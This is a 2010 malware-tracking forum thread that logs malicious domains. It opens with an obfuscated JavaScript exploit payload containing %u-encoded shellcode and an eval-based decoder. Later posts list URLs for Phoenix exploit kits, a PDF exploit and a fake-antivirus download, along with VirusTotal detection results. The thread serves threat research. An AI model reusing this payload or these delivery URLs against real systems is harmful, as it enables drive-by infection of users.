r6)p)<vre7t`ryoDpr;r)du{cvtmh.fuc;:;ec`oms,ed19=''aAvbae'm1(t)/TsCe(c(A`-o`p`.en)celA-Aa`loi19u`lvcJatlo'-i.on.`})n`i=Megwmpsad'ic`nseecdlncecn`sse'dolD3slln(ait:ge}r7E602/7E73a5001A16A8E8938BDF60EA7332FAA9060106B8BA3EC83F70A175FEBF38F7E0FF07B63384BBF86506BF75F61F42E787DFC961E46139244730D474D34DEEC179t00001CB00C6C655E0E52737D64496975060200010002040'02005E004C`hceiNv)2`=|,`a82F9069232F263A70,h'FF+0966763D2234}2ah2FeA642E2920582(01aF9m2F245628776A={528F+6212F2B27607WaA5F302F4247606760.;e)n`aeet'upr;pcasSv=.lt'ltfi1g;6<o;0Ok`lF.i(h'0Ae'h.r=)0'|5Nr=8ui`nt`oo959t0A8B3FF00064F2700000C50266A6679657275644F636C64646171652A6179027D4365432001647966426215020F020701090702000300030D0B620A420B05020202'st;<>=di14b;u%0cbau%6000u%00e0u%c059u%f628u%9005u%00a0u%001cu%a515u%20b0u%4616u%26bcu%3601u%5a00u%9fb0u%5c00u%55ebu%c644u%17'346u%8=4707u%`%F6D7utvuetal?5=p;~.`{.nxcn)(eynb()h}oo.eynegsinh~utyUUnVfMtm;(T1DUUu2`sCd`(``m2i;t=ufw(`t2~(&mpae=gnglf=azmi`hwpnc.gesh-fO{tg.feteai)e6hu7}t`gyinehe``68iel`})ofsd.t=.`er)oc{no<sh`fFpeUc{ege=2=&weso8~EM0ccanfIEkz;tqf`a|S+2gfl+e6`ilobh6).gh``00~sa;e8``)rec=+`p`0lf2giPclll~`xc0kl`f<naae('Ccexebt036g+edL;2'i5Dt'Rl''tl.}ln=cce`tOh{rcV1)==(HHM`;a0;e;zai`0ube'rapy`i;onvr'eeig'tl'ndnlMceep(:DE`m'tpajm`,p5)e;foePxea)S=Jm`.nn`t{unaF0'tde2d19)dearEpiuoadtacdl(};`vd'o=of`tamo`eet/hidtcee)d.d=`ec.css-5usec)vn'`enfy46D366A603r3A03A2468A33632022F8D91839DAE6E7C307B3CD24BEF0EE64EF86FEBF464FF5508C255E87500F63C4051EF7E730907B64DF9C92604B58D3A4A39AECE402Ch00005BF006D6C4F56636303426F7564170B0008003B0B20;2020F506D6Aokto`=|89'(09=E7F00B3A2A262576'0e+C0t058633820697i8me78s6B2926567E24s'+m50e626552065286=fA+25'2B482A064B61ItE6B7062F46786C760rL{{`pt'(A,t.adetrica(mic.v(=n0m})7c}0Wliv(pm)`Q0SwSoGs'|,W(1```%nl0or-rr9+5a000F6FF0F0DCBE86F1008F0E684E60697017786166796C646A63736E427376646D4E74407961624E6461660E1819010701090700000001DA0860DE0F00008102096;ec}";function btbnhm7(ctywcq){return ctywcq.replace(/`/ig,' ').replace(/~/ig,'"').replace(/»/ig,String.fromCharCode(0x5*2)).replace(/•/ig,String.fromCharCode(0x2E*2));};var gwevh8=1177;var ipcncr='';for (xtjscnj = gwevh8; xtjscnj > 0; xtjscnj--){for (iwazgry = gwevh8-xtjscnj; iwazgry <= emgves.length; iwazgry=iwazgry+gwevh8){ipcncr=ipcncr+emgves.charAt(iwazgry);}}var ethmxz=ipcncr+"}MDAC();";var isaqbpx=btbnhm7(ethmxz);eval(isaqbpx);

Now run it. The eval result now contains the decoded script. Copy and paste the result into the top window and click "Format code" to make it more readable.

lelenina · November 01, 2010, 09:29:50 pm

Code: [Select]

http://obuddytv.com/sitemap/jdk.php
http://obuddytv.com/sitemap/trafflit.php

Exploit kit

Code: [Select]

http://obuddytv.com/sitemap/files/asshole.pdf

Pdf exploit

lelenina · November 02, 2010, 05:48:28 am

Code: [Select]

http://quindols.com/5sugm3fdkgad.php?s=IBBKB

Phoenix exploit kit

lelenina · November 02, 2010, 04:09:48 pm

Code: [Select]

http://negup.co.cc/red.php

Redirects to phoenix exploit kit

lelenina · November 02, 2010, 08:33:58 pm

Code: [Select]

http://eachdata.co.cc/user/?nid=kostes&get=cash&xml=undo&str=enabled&ID=104161

Exploit kit?

SysAdMini · November 02, 2010, 08:40:35 pm

Quote from: lelenina on November 02, 2010, 08:33:58 pm

Code: [Select]
http://eachdata.co.cc/user/?nid=kostes&get=cash&xml=undo&str=enabled&ID=104161Exploit kit?

I don't get any content from this url.

lelenina · November 02, 2010, 10:35:37 pm

Quote from: SysAdMini on November 02, 2010, 08:40:35 pm

Quote from: lelenina on November 02, 2010, 08:33:58 pm
Code: [Select]
http://eachdata.co.cc/user/?nid=kostes&get=cash&xml=undo&str=enabled&ID=104161Exploit kit?

I don't get any content from this url.

Neither do I, but I did when it first exploited me. Maybe I do not have the main exploitation URL correct.

lelenina · November 03, 2010, 06:56:59 pm

Code: [Select]

http://compaund.in/15/index.php

Phoenix exploit kit

michajp · November 04, 2010, 04:28:01 am

Quote from: SysAdMini on November 02, 2010, 08:40:35 pm

Quote from: lelenina on November 02, 2010, 08:33:58 pm
Code: [Select]
http://eachdata.co.cc/user/?nid=kostes&get=cash&xml=undo&str=enabled&ID=104161Exploit kit?

I don't get any content from this url.

These are tricky and usually there is only one shot - after which the accessing IP gets kind of black listed. As for this exact domain I dug the following details:

Code: [Select]

First seen at Wed Nov  3 03:39:17 JST 2010 
hxxp://eachdata.co.cc/get/?db=ssl&name=temp123&done=3&xml=undo&p=165&pool=ssl

Changed at Wed Nov  3 04:59:55 JST 2010 
hxxp://eachdata.co.cc/news/?nav=temp123&pid=165&str=5

Changed at Wed Nov  3 06:20:41 JST 2010 
< hxxp://eachdata.co.cc/news/?nav=temp123&pid=165&str=5
---
> hxxp://bulkservice.co.cc/get/index.php?p=165&name=temp123&db=do

These URLs were redirected to by another *.php (which was found in injected iframe at some legitimate site).
Still trying around with these links but as of yet have not found a good way to get payload properly.
The index.php contains exe.phpx=jar5 (knockout.exe?) and some other stuff. Final payloads are "Security Tool", I believe.

GmG · November 04, 2010, 11:06:52 am

Quote from: michajp on November 04, 2010, 04:28:01 am

These URLs were redirected to by another *.php (which was found in injected iframe at some legitimate site).
Still trying around with these links but as of yet have not found a good way to get payload properly.
The index.php contains exe.phpx=jar5 (knockout.exe?) and some other stuff. Final payloads are "Security Tool", I believe.

detect geo location
different exe for country

RU JP
http://www.virustotal.com/file-scan/report.html?id=96e247f3b8498fa8d8d96d7d691999d88feb81e85d6985fd58d5c13d10535c44-1288868795
DE IT US
http://www.virustotal.com/file-scan/report.html?id=35ec83e3efe40fc5121578a86ffe10998992851d5ca70be2defe877d0dcfe7bc-1288868719

michajp · November 04, 2010, 01:55:56 pm

Quote from: GmG on November 04, 2010, 11:06:52 am

Quote from: michajp on November 04, 2010, 04:28:01 am
These URLs were redirected to by another *.php (which was found in injected iframe at some legitimate site).
Still trying around with these links but as of yet have not found a good way to get payload properly.
The index.php contains exe.phpx=jar5 (knockout.exe?) and some other stuff. Final payloads are "Security Tool", I believe.

detect geo location
different exe for country

RU JP
http://www.virustotal.com/file-scan/report.html?id=96e247f3b8498fa8d8d96d7d691999d88feb81e85d6985fd58d5c13d10535c44-1288868795
DE IT US
http://www.virustotal.com/file-scan/report.html?id=35ec83e3efe40fc5121578a86ffe10998992851d5ca70be2defe877d0dcfe7bc-1288868719

Hmm, strange. the link to your 'RU JP sample' gives:

File:    exe.php@x=jar5
Time:   Thu Nov 4 13:50:01 UTC 2010
VT Result: 9 /43 (20.9%)

AntiVir TR/Crypt.XPACK.Gen2
Microsoft VirTool:Win32/Obfuscator.KC
Panda Suspicious file
PCTools SecurityToolFraud!Gen4
Prevx Medium Risk Malware
Sunbelt VirTool.Win32.Obfuscator.ah!e (v)
Symantec SecurityToolFraud!Gen4
TrendMicro TROJ_FAKEAV.SMBY
TrendMicro-HouseCall TROJ_FAKEAV.SMBY
6018008c56790c712abb90cb0113bdcb
--------

A sample which I just got via JP IP gave:

File:    exe.phpx=jar5-04nov10.txt
Time:   Thu Nov 4 13:50:30 UTC 2010
VT Result: 18/ 43 (41.9%)

AntiVir TR/Crypt.XPACK.Gen
Authentium W32/Trojan3.CHI
AVG Agent.5.AK
BitDefender Gen:Variant.Kazy.2562
DrWeb Trojan.Packed.20878
F-Prot W32/Trojan3.CHI
F-Secure Gen:Variant.Kazy.2562
GData Gen:Variant.Kazy.2562
McAfee-GW-Edition Heuristic.BehavesLike.Win32.Suspicious.H
Microsoft TrojanDownloader:Win32/Waledac.C
NOD32 a variant of Win32/Kryptik.HWR
Norman W32/Fitmu.A!genr
nProtect Gen:Variant.Kazy.2562
Panda Trj/Sinowal.XHS
Prevx Medium Risk Malware
Sophos Mal/Zbot-AN
TrendMicro Cryp_Bredo-14
TrendMicro-HouseCall Cryp_Bredo-14

MD5 be89942e0c9bb6012fe83f372bf83805
----

Something odd there.

lelenina · November 04, 2010, 06:46:55 pm

Code: [Select]

http://moionfolt.com/20x562fzx5j5.php?s=IBBGA

Phoenix exploit kit

lelenina · November 07, 2010, 05:02:23 am

Code: [Select]

http://taeliterup.ru/in.cgi?5

Redirects to fake scanner page

Code: [Select]

http://microsoftwindowssecurity912.com/a09/TrojanRemovalKit.exe

Fake AV

Author Topic: Malicious Domains by Lelenina (Read 83858 times)

lelenina

Re: Malicious Domains by Lelenina

lelenina

Re: Malicious Domains by Lelenina

SysAdMini

Re: Malicious Domains by Lelenina

lelenina

Re: Malicious Domains by Lelenina

lelenina

Re: Malicious Domains by Lelenina

lelenina

Re: Malicious Domains by Lelenina

lelenina

Re: Malicious Domains by Lelenina

SysAdMini

Re: Malicious Domains by Lelenina

lelenina

Re: Malicious Domains by Lelenina

lelenina

Re: Malicious Domains by Lelenina

michajp

Re: Malicious Domains by Lelenina

GmG

Re: Malicious Domains by Lelenina

michajp

Re: Malicious Domains by Lelenina

lelenina

Re: Malicious Domains by Lelenina

lelenina

Re: Malicious Domains by Lelenina